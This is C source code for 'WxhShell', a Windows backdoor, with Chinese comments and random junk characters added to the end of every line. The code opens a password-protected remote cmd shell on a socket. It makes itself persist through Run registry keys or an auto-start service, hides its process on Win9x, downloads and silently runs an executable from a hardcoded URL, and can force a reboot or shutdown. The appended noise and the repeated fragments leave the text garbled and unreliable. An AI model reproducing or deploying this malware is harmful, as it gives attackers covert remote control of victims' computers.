    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Vu %4kq  
    else { bp'qrcFuiL  
    closesocket(wsh); (WW*yv.J  
    ExitThread(0); >g):xi3qK  
    } {i:5XL   
    break; &}TfJ=gj  
    } k>W5ts2+  
  // 获取shell KJ7[DN'(  
  case 's': { $jLJ&R=?]  
    CmdShell(wsh); A7{l60(5  
    closesocket(wsh); t}Z*2=DO  
    ExitThread(0); HwE1cOT  
    break; xB&kxW.;  
  } H9c  
  // 退出 }~8/a3  
  case 'x': { A578g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1l@gZI12#/  
    CloseIt(wsh); --ED]S 8  
    break; 5&&6e`  
    } $O n  
  // 离开 /}_OCuJJ,  
  case 'q': { -jBk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fS( )F*J  
    closesocket(wsh); ?, dbrQ  
    WSACleanup(); @;T>*_Yhn  
    exit(1); 'f+g`t?  
    break; |FF"vRi8a7  
        } l7rGz2:?  
  } ~2R3MF.C  
  } %]>LnbM>4  
oiG@_YtR  
  // 提示信息 ~:65e 8K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? J;*  
} %s]l^RZ  
  } c=S-g 9J  
|!0R"lv'u  
  return; z8#c!h<@;  
} $6~ \xe=  
5H+S=  
// shell模块句柄  R~jV  
int CmdShell(SOCKET sock) U}c[oA  
{ un+U_|>c  
STARTUPINFO si; lX)RG*FlTC  
ZeroMemory(&si,sizeof(si)); c)N&}hFYC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =r<0l=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \\j98(i  
PROCESS_INFORMATION ProcessInfo; 8QFn/&Ql$B  
char cmdline[]="cmd"; i.4L;(cg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v> vU]6l  
  return 0; &hK5WP6whW  
} 5kwDmJy  
5W0'r'{  
// 自身启动模式 ^':Az6Z  
int StartFromService(void) \M ]w I  
{ rcc.FS  
typedef struct !P Cw-&  
{ UOWOOdWS B  
  DWORD ExitStatus; .x$!Rc}  
  DWORD PebBaseAddress; (qE*z  
  DWORD AffinityMask; 4:!KtpR[O  
  DWORD BasePriority; $ Cr? }'a  
  ULONG UniqueProcessId; )~hsd+ 0t  
  ULONG InheritedFromUniqueProcessId; !Ua74C  
}   PROCESS_BASIC_INFORMATION; R~-r8dWcw  
"HWl7c3q  
PROCNTQSIP NtQueryInformationProcess; \wmNeGC2  
%cM2;a=2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X@,xwsM%tb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SE0"25\_G  
xg'FC/1LD  
  HANDLE             hProcess; T=8> 0D^v5  
  PROCESS_BASIC_INFORMATION pbi; ulnG|3A9  
O/gBBTB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sLx!Do$'  
  if(NULL == hInst ) return 0; D`r^2(WW  
a8?Zb^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H}}]Gh.T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X&^8[,"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I,{9vew  
TQx''$j\  
  if (!NtQueryInformationProcess) return 0; {u BpM9KT  
%@<}z|.4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :#!m(s`  
  if(!hProcess) return 0; Ga\E`J$c  
/ jI>=:z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *iSsGb\M%  
"%+C@>`(  
  CloseHandle(hProcess); H79|%@F"  
_7SOl.5ZE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6gS<h \h0  
if(hProcess==NULL) return 0; =bUVGjr%96  
P |c6V  
HMODULE hMod; A[lkGQtS4  
char procName[255]; 'C6 K\E  
unsigned long cbNeeded; dZ UB  
w.qpV]9>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aHKv*-z-  
KZn\ iwj  
  CloseHandle(hProcess); L+@RK6dq  
+ M2|-C  
if(strstr(procName,"services")) return 1; // 以服务启动 tzv&E0 |d  
=G*rfV@__V  
  return 0; // 注册表启动 `0+zF-  
} ?i*kwEj=  
.M_[tl  
// 主模块 CT6Ca,  
int StartWxhshell(LPSTR lpCmdLine) S#{e@ C  
{ M%f96XUM  
  SOCKET wsl; i(q%EMf  
BOOL val=TRUE; H*_:IfI!  
  int port=0; #uNQ+US0  
  struct sockaddr_in door; c ?mCt0Cg  
Bb];qYuCO  
  if(wscfg.ws_autoins) Install(); .bbl-a/ 3  
-yt[0  
port=atoi(lpCmdLine); ukV1_QeN [  
/?l@7  
if(port<=0) port=wscfg.ws_port; P@ '<OI  
RE]u2R6Y  
  WSADATA data; ,.u7([SGm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s OD>mc#%Y  
_yT Gv-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' }rUbJo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8D eRs#  
  door.sin_family = AF_INET; z65|NO6JW.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SP9_s7LL  
  door.sin_port = htons(port); x72bufd  
' jFSv|g+0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '+BcPB?E  
closesocket(wsl); \H+/D &M  
return 1; 4os7tx  
} Wa~'p+<c~b  
pR2QS  
  if(listen(wsl,2) == INVALID_SOCKET) { ev>gh0  
closesocket(wsl); 1R)4[oYN\<  
return 1; j+Nun  
} KFHn)+*"  
  Wxhshell(wsl); UJ1Ui'a(!!  
  WSACleanup(); D0,U2d  
hVRpk0IJDK  
return 0; #KZ6S9>@  
Ji  SJi?  
} hKb-l`KO  
me@4lHBR  
// 以NT服务方式启动 4w0 &f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vBCQ-l<Ub  
{ W[A;VOj0$  
DWORD   status = 0; fB[I1Z  
  DWORD   specificError = 0xfffffff; vINm2%*zJ  
$trvNbco  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]ERPWW;^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ia:n<sZU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $x]'6  
  serviceStatus.dwWin32ExitCode     = 0; >=c<6#:s<9  
  serviceStatus.dwServiceSpecificExitCode = 0; 92+LY]jS  
  serviceStatus.dwCheckPoint       = 0; ?:OL8&0  
  serviceStatus.dwWaitHint       = 0; TFWV(<  
XRVE8v+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /02|b}{  
  if (hServiceStatusHandle==0) return; )r-t$ L  
uiDK&@RS  
status = GetLastError(); 9vT@ mqKu  
  if (status!=NO_ERROR) ^2OBc  
{ U/&!F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xN0n0  
    serviceStatus.dwCheckPoint       = 0; &AH@|$!E  
    serviceStatus.dwWaitHint       = 0; B*E:?4(<P  
    serviceStatus.dwWin32ExitCode     = status; ~p<o":k+Lv  
    serviceStatus.dwServiceSpecificExitCode = specificError; /g2(<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |XOD~Plo^  
    return; cP63q|[[  
  } j?4k{?x  
W!4(EdT*Cq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ; k{w@L.@  
  serviceStatus.dwCheckPoint       = 0; .r+u pY  
  serviceStatus.dwWaitHint       = 0; #R<4K0Xan  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a5C%OI<  
} ,%e.nj9  
B<(v\=xZ  
// 处理NT服务事件,比如:启动、停止 `s(T (l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZWaHG_ U)  
{ .)|r!X  
switch(fdwControl) =Y>_b 2  
{ ['j_W$8n  
case SERVICE_CONTROL_STOP: 61>@-55k9  
  serviceStatus.dwWin32ExitCode = 0; oe,L&2Jz@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ej>5PXp'2  
  serviceStatus.dwCheckPoint   = 0; l'HrU 1_7Y  
  serviceStatus.dwWaitHint     = 0; gJ cf~@s  
  { }5-^:}gL   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jSp4eq  
  } L31B:t^  
  return; F)g.CDQ!c  
case SERVICE_CONTROL_PAUSE: :<f7;.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K?:rrd=7q  
  break; ST1PSuC~  
case SERVICE_CONTROL_CONTINUE: p< Emy%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v??}d   
  break; 7k}[x|u  
case SERVICE_CONTROL_INTERROGATE: _3DRCNvh  
  break; j#r|t+{"C  
}; 74hGkf^S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0TK+R43_  
} CsG1HR@  
/PF X1hSu  
// 标准应用程序主函数 IM),cOp=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )?RR1P-ID  
{ o,(MB[|hQ  
WgPpW!`  
// 获取操作系统版本 K4NB#  
OsIsNt=GetOsVer(); 2i`N26On  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H5uWI  
6O8'T`F[  
  // 从命令行安装 y)o!F^  
  if(strpbrk(lpCmdLine,"iI")) Install(); TcA+ov>TD  
Y,z15i3j?  
  // 下载执行文件 pB;)H ii\  
if(wscfg.ws_downexe) { ,\ zp&P"p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +"rZ<i  
  WinExec(wscfg.ws_filenam,SW_HIDE); LM }0QL m?  
} *&{M ,  
{^ 1s  
if(!OsIsNt) { JnE\E(ez  
// 如果时win9x,隐藏进程并且设置为注册表启动 .q#2 op  
HideProc(); hGyi@0  
StartWxhshell(lpCmdLine); T<kyxbjR  
} JTB_-J-TU  
else )]~'zOE_  
  if(StartFromService()) OJe#s;oH  
  // 以服务方式启动 j/_@~MJBt  
  StartServiceCtrlDispatcher(DispatchTable); iHhoNv`MR  
else i{TErJ{}e  
  // 普通方式启动 "?a(JC  
  StartWxhshell(lpCmdLine); Rdao  
Z'p7I}-qr  
return 0; } <; y,4f  
} ,9Y{x  
*kE2d{h^=C  
7@al)G;~  
MFO}E!9`q  
=========================================== &o*/6X  
$$`E@\5P  
i2`i5&*  
"mr;|$Y  
aGvD  
TWE$@/9)g  
" M6U/. n  
ciO^2X  
#include <stdio.h> SOQm>\U'i  
#include <string.h> e.9oB<Etp  
#include <windows.h> zB`)\  
#include <winsock2.h> zS*GYE(l^  
#include <winsvc.h> (wLzkV/6  
#include <urlmon.h> BoJ@bOe#  
3{B`[$  
#pragma comment (lib, "Ws2_32.lib") Iu`eQG  
#pragma comment (lib, "urlmon.lib") r#LoBfM;^A  
. fq[>zG'&  
#define MAX_USER   100 // 最大客户端连接数 fOtin[|}6@  
#define BUF_SOCK   200 // sock buffer #"% ]1={b  
#define KEY_BUFF   255 // 输入 buffer \Ku6 gEy  
C=2"*>lTn  
#define REBOOT     0   // 重启 wQiRj.  
#define SHUTDOWN   1   // 关机 Z[:fqvXQ  
4jEPh{q  
#define DEF_PORT   5000 // 监听端口 j&)"a,f  
d54(6N%  
#define REG_LEN     16   // 注册表键长度 >Z ZX]#=I  
#define SVC_LEN     80   // NT服务名长度 0kP, Zj<  
&qqS'G*  
// 从dll定义API c!"&E\F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rg~ ~[6G>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *l:5FT p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sI p q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \AV6;;}&  
k6-.XW  
// wxhshell配置信息 }l{r9ti  
struct WSCFG { $FUWB6M  
  int ws_port;         // 监听端口 Z{nJ\`  
  char ws_passstr[REG_LEN]; // 口令 ~L j[xP  
  int ws_autoins;       // 安装标记, 1=yes 0=no A7@5lHMF  
  char ws_regname[REG_LEN]; // 注册表键名 c`I`@Bed  
  char ws_svcname[REG_LEN]; // 服务名 hp?hb-4l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H^P uC (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +FiM?,G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ._JM3o}F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZZqImB.Cz6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )u~LzE]{_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]l.y/pRP5[  
:=x-b3U  
}; =BW>jD  
l(|@ dp  
// default Wxhshell configuration ':6!f  
struct WSCFG wscfg={DEF_PORT, gHc0n0ZV  
    "xuhuanlingzhe", '#d`K.;_b.  
    1, .r!:` 6  
    "Wxhshell", WMfu5x7e4  
    "Wxhshell", /=co/}i  
            "WxhShell Service", :{NvBxc[  
    "Wrsky Windows CmdShell Service", t. B %7e  
    "Please Input Your Password: ", +M th+qgw  
  1, \P% E1c#  
  "http://www.wrsky.com/wxhshell.exe", zTb!$8D"g  
  "Wxhshell.exe" !l1UpJp  
    }; `oH=O6  
Qm86!(eZ-  
// 消息定义模块 F/;uN5{o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; & %4x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sp*_;h3'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .} <$2.  
char *msg_ws_ext="\n\rExit."; J{c-'Of2yi  
char *msg_ws_end="\n\rQuit."; `[x`#irD  
char *msg_ws_boot="\n\rReboot..."; iDej{95  
char *msg_ws_poff="\n\rShutdown..."; iW\cLp "  
char *msg_ws_down="\n\rSave to "; <}x_F)E[t  
e glcf z%  
char *msg_ws_err="\n\rErr!"; A+i|zo5p=k  
char *msg_ws_ok="\n\rOK!"; KO/Z|I  
I_xvg >i  
char ExeFile[MAX_PATH]; {p&M(W]  
int nUser = 0; *cn,[  
HANDLE handles[MAX_USER]; ],{b&\  
int OsIsNt; dbF?#s~u  
!C>}j* 4  
SERVICE_STATUS       serviceStatus; "{-jZdq'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S(xlN 7=  
+$R4'{9q  
// 函数声明 t.Hte/,k  
int Install(void); ZaYux-0]kF  
int Uninstall(void); #M$Gj>E%4  
int DownloadFile(char *sURL, SOCKET wsh); I_66q7U"0  
int Boot(int flag); &`hx   
void HideProc(void); M]PH1 2Ob  
int GetOsVer(void); #=r:;,,  
int Wxhshell(SOCKET wsl); "bZ {W(h  
void TalkWithClient(void *cs); qzq_3^ 66  
int CmdShell(SOCKET sock); FTvFtdY  
int StartFromService(void); j?sq i9#  
int StartWxhshell(LPSTR lpCmdLine); '?Fw]z1$  
]#>;C:L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8$</HNu,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z%_"-ENT  
[>l 2E  
// 数据结构和表定义 n<47#-  
SERVICE_TABLE_ENTRY DispatchTable[] = Bu4J8eLx  
{ Eshc"U  
{wscfg.ws_svcname, NTServiceMain}, T0Lh"_X3  
{NULL, NULL} JD1IL` ta;  
}; 2L}F=$zz  
kc#<Gr&Z&  
// 自我安装 }!{9tc$<b  
int Install(void) aq/'2U 7  
{ Q _Yl:c  
  char svExeFile[MAX_PATH]; [:Kl0m7  
  HKEY key; r9[{0y!4  
  strcpy(svExeFile,ExeFile); #4uuT?!  
Sb@:ercC,  
// 如果是win9x系统,修改注册表设为自启动 CSF-2lSG  
if(!OsIsNt) { FJ]BB4 K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J+oK:tzt8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /~`4a  
  RegCloseKey(key); [7d>c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 26n+v(re  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P~Ss\PT  
  RegCloseKey(key); 4LY kK/:  
  return 0; ~Y=v@] 2/  
    } ];cJIa  
  } + ;u<tA  
} [K_v,m]   
else { (6##\}L&9  
:H/CiN  
// 如果是NT以上系统,安装为系统服务 8%-+@ \=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KI&+Zw4VL  
if (schSCManager!=0) SymBb}5  
{ LU$aCw5 B;  
  SC_HANDLE schService = CreateService C4vmgl&  
  ( dN'2;X  
  schSCManager, Jo%5NXts4  
  wscfg.ws_svcname, *fs'%"w-  
  wscfg.ws_svcdisp, ""-#b^DQ  
  SERVICE_ALL_ACCESS, @2H"8KX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a "*DJ&  
  SERVICE_AUTO_START, |8,|>EyqK  
  SERVICE_ERROR_NORMAL, &fH;A X.  
  svExeFile, tNsiokOm  
  NULL, <\i}zoPO  
  NULL, D vG9(Eh  
  NULL, C:Tjue{G2  
  NULL, )*!"6d)^  
  NULL J=QuZwt  
  ); 2M`]nAk2a  
  if (schService!=0) ~zdHJ8tYp  
  { $$my,:nH  
  CloseServiceHandle(schService); <_X`D4g]XO  
  CloseServiceHandle(schSCManager); a:$hK%^ \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FdrH,  
  strcat(svExeFile,wscfg.ws_svcname); 5}J|YKyP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 34k}7k~n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g5THkxp  
  RegCloseKey(key); _ U/[n\oC  
  return 0; U;%I" p`Z/  
    } 8WT^ES~C  
  } or2BG&W  
  CloseServiceHandle(schSCManager); X~ca8!Dq  
} 3=r#=u5z  
} 4dv5  
k 4|*t}o7  
return 1; G's >0  
} O3H~|R+^  
*dB^B5  
// 自我卸载 Wz}DC7  
int Uninstall(void) Dw\)!,,i7U  
{ AawK/tfs  
  HKEY key;  U~%V;*|4  
EbTjBq  
if(!OsIsNt) { i:8g3|JfMe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gDY+'6m;  
  RegDeleteValue(key,wscfg.ws_regname); p72:oX\Q I  
  RegCloseKey(key); H)#HK!F6f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Q$ePo   
  RegDeleteValue(key,wscfg.ws_regname); TQ-V61<5  
  RegCloseKey(key); 2?=R_&0 Q  
  return 0; -Fi{[%&u  
  } n%N|?!rB  
} )`Zj:^bz9  
} Jxyeh1z qB  
else { w QV4[  
Ww(($e!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @|yRo8|  
if (schSCManager!=0) 8&q|*/2  
{ 2|J>e(&akY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &hciv\YT2W  
  if (schService!=0) j2oHwt6"  
  { 3Zy$NsY3  
  if(DeleteService(schService)!=0) { M]\p9p(_  
  CloseServiceHandle(schService); .uu[f2.N+  
  CloseServiceHandle(schSCManager); +f#o ij  
  return 0; ,mpvGvAI  
  } >MXE)=  
  CloseServiceHandle(schService); \tL 9`RKpg  
  } y^M ~zOe  
  CloseServiceHandle(schSCManager); -68E]O  
} Fbvw zZ  
} v=-8} S  
|~QHCg<  
return 1; -Oj}PGj$e\  
} f T7Z6$  
sIx8,3`&y  
// 从指定url下载文件 axf4N@  
int DownloadFile(char *sURL, SOCKET wsh) /CpU.^V  
{ DA>_9o/l  
  HRESULT hr; o6{[7jI  
char seps[]= "/"; Mi|PhDXMh  
char *token; >]6 inS9  
char *file; [&IJy  
char myURL[MAX_PATH];  bnll-G|  
char myFILE[MAX_PATH]; z|';Y!kQ  
`5VEGSP]  
strcpy(myURL,sURL); <2{CR0]u  
  token=strtok(myURL,seps); Gz>M Y4+G  
  while(token!=NULL) <<xUh|zE  
  { B/P E{ /  
    file=token; AsBep  
  token=strtok(NULL,seps); 94 2(a  
  } y.KFz9Qv  
nEtG(^N  
GetCurrentDirectory(MAX_PATH,myFILE); "rV-D1Dki  
strcat(myFILE, "\\"); fn6;  
strcat(myFILE, file); 7/p&]0w  
  send(wsh,myFILE,strlen(myFILE),0); T]&% KQ  
send(wsh,"...",3,0); ~;m3i3D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^TC<_]7  
  if(hr==S_OK) HM'P<<  
return 0; 3['aK|qk.  
else  y">_$  
return 1; +/">]QJ  
%t*_Rtz\o  
} L|O'X4"&_  
Qktj  
// 系统电源模块 $d<vPpJ3  
int Boot(int flag) *2K/)(  
{ }|MPQy  
  HANDLE hToken; b4l=Bg"  
  TOKEN_PRIVILEGES tkp; iX 3Y:   
gBF2.{"^  
  if(OsIsNt) { '\v mm>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zQ;jaS3 hf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AKKp-I5  
    tkp.PrivilegeCount = 1; jm|x=s3}h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^jY'Hj.Bs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RnvPqNs  
if(flag==REBOOT) { oCl $ 0x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QkEIV<T&)l  
  return 0; z#$>f*b  
} PL+j;V(<  
else { r2KfZ>tWg"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8T:?C~"  
  return 0; x.=Np\#\G-  
} `s0`kp  
  } jFa{h!  
  else { '<Nhq_u{  
if(flag==REBOOT) { TFIP>$*_C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yvPcD5s5  
  return 0; 4 _*^~w  
} !B&OK&*  
else { |4=Du-e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h92'~X36  
  return 0; ;IN!H@bq  
} *]L(,_:"  
} )# ^5$5  
!=C74$TH  
return 1; 3#=%2\  
} j. @CB`  
f!3$xu5  
// win9x进程隐藏模块 ]Wc:9Zb  
void HideProc(void) ("G _{tVU  
{ -tQi~Y[]  
sZ-A~X@g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Cbah%X  
  if ( hKernel != NULL ) B=4xZJ Py  
  { COV8=E~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |)"`v'8>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bO)voJ<  
    FreeLibrary(hKernel); /-in:gX8  
  } ?9Lp@k~TO  
P^wDt14>  
return; ({"jL*S,q  
} A/WmVv6  
1MntTIT  
// 获取操作系统版本 KdBE[A-1^M  
int GetOsVer(void) EWcqMD]4u  
{ S< TUZ /;  
  OSVERSIONINFO winfo; 2J>v4EWC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~9[^abz  
  GetVersionEx(&winfo); RDX$Wy$@L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SFj:|S=v6j  
  return 1; #@ quuiYq  
  else w1#1s|  
  return 0; - &AgjzN!  
} 12D>~#J  
Ys+2/>!  
// 客户端句柄模块 u$vA9g4  
int Wxhshell(SOCKET wsl) RM5$O+"  
{ IB'gY0*  
  SOCKET wsh; |a>W9Ym  
  struct sockaddr_in client; +7`7cOqXg  
  DWORD myID; O]| T !  
_m;H$N~I#  
  while(nUser<MAX_USER) jcC "S qL  
{ M%U1?^j8  
  int nSize=sizeof(client); +2qCH^80  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z 1~2w:  
  if(wsh==INVALID_SOCKET) return 1; E`M, n ,  
n`W7g@Sg#I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rxl )[\A*  
if(handles[nUser]==0) `$fKS24u  
  closesocket(wsh); WbIf)\  
else z2/E?$(  
  nUser++; V2v}F=  
  } j'2:z#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s-S#qGZ  
bhqV2y*'  
  return 0; {.,-lFb\  
} +NM`y=@@  
3Z taj^v  
// 关闭 socket pA~eGar_J  
void CloseIt(SOCKET wsh) +\Zr\fOe|%  
{ 4s <|8   
closesocket(wsh); "DpgX8lG_  
nUser--; D^\gU-8M  
ExitThread(0); rV5QKz6'  
} gwAZ2w  
`dGcjLs Iz  
// 客户端请求句柄 PQ}owEJ2eM  
void TalkWithClient(void *cs) vrGx<0$  
{ rAuv`.qEV  
r_p4pxs  
  SOCKET wsh=(SOCKET)cs; 9i8 ~  
  char pwd[SVC_LEN]; 54^2=bp  
  char cmd[KEY_BUFF]; OG!+p}yD]  
char chr[1]; W%&[gDp  
int i,j; Z(~v{c %<  
dPVl\<L1  
  while (nUser < MAX_USER) { HZ_,f"22  
M%aA1!@/  
if(wscfg.ws_passstr) { E U# M.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hFiJHV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lk(q>dvK  
  //ZeroMemory(pwd,KEY_BUFF); mO?yrM *  
      i=0; saPg2N,  
  while(i<SVC_LEN) { :m{;<LRV  
Bh%Yu*.f  
  // 设置超时 ?gGmJl  
  fd_set FdRead; %]KOxaf_z  
  struct timeval TimeOut; >3,t`Z:  
  FD_ZERO(&FdRead); 2B !Bogs  
  FD_SET(wsh,&FdRead);  4u.v7r  
  TimeOut.tv_sec=8; '^6jRI,  
  TimeOut.tv_usec=0; i*3*)ly  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +{7/+Zz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;_TPJy  
vIK+18v7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k~|5TO  
  pwd=chr[0]; /Y7Yy jMi  
  if(chr[0]==0xd || chr[0]==0xa) { ~4}'R_  
  pwd=0; 8b!-2d:*  
  break; LOPw0@  
  } :krdG%r  
  i++; T`Jj$Lue{  
    } $z":E(oy  
'|jN!y^ 2p  
  // 如果是非法用户,关闭 socket ?Z{:[.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :5 zXW;s  
} {0?]weN*  
\-2O&v'}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]?/7iM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :jP4GCxU|  
'v42QJ"{  
while(1) { tl@n}   
j 56Dt_  
  ZeroMemory(cmd,KEY_BUFF); ` yXJaTbo  
J;mvD^`g  
      // 自动支持客户端 telnet标准   -h|YS/$f  
  j=0; y(2FaTjM  
  while(j<KEY_BUFF) { ^j)0&}fB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6.0/asN}  
  cmd[j]=chr[0]; !=t.AgmL  
  if(chr[0]==0xa || chr[0]==0xd) { kH9fK80  
  cmd[j]=0; hp< NVST  
  break; K[G=J  
  } rO;Vr},3\%  
  j++; +j">Ju6Q;.  
    } ~4t7Q  
08pG)_L  
  // 下载文件 ?A\[EI^  
  if(strstr(cmd,"http://")) { O.+02C_*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8h=Rfa9  
  if(DownloadFile(cmd,wsh)) @*s7~:VQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4 x uH3  
  else B]C 9f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5j S8{d0  
  } `VzjXJw  
  else { X61p xPa  
fg8"fbG`:  
    switch(cmd[0]) { )K"7=TvY  
  EWX!:BKf  
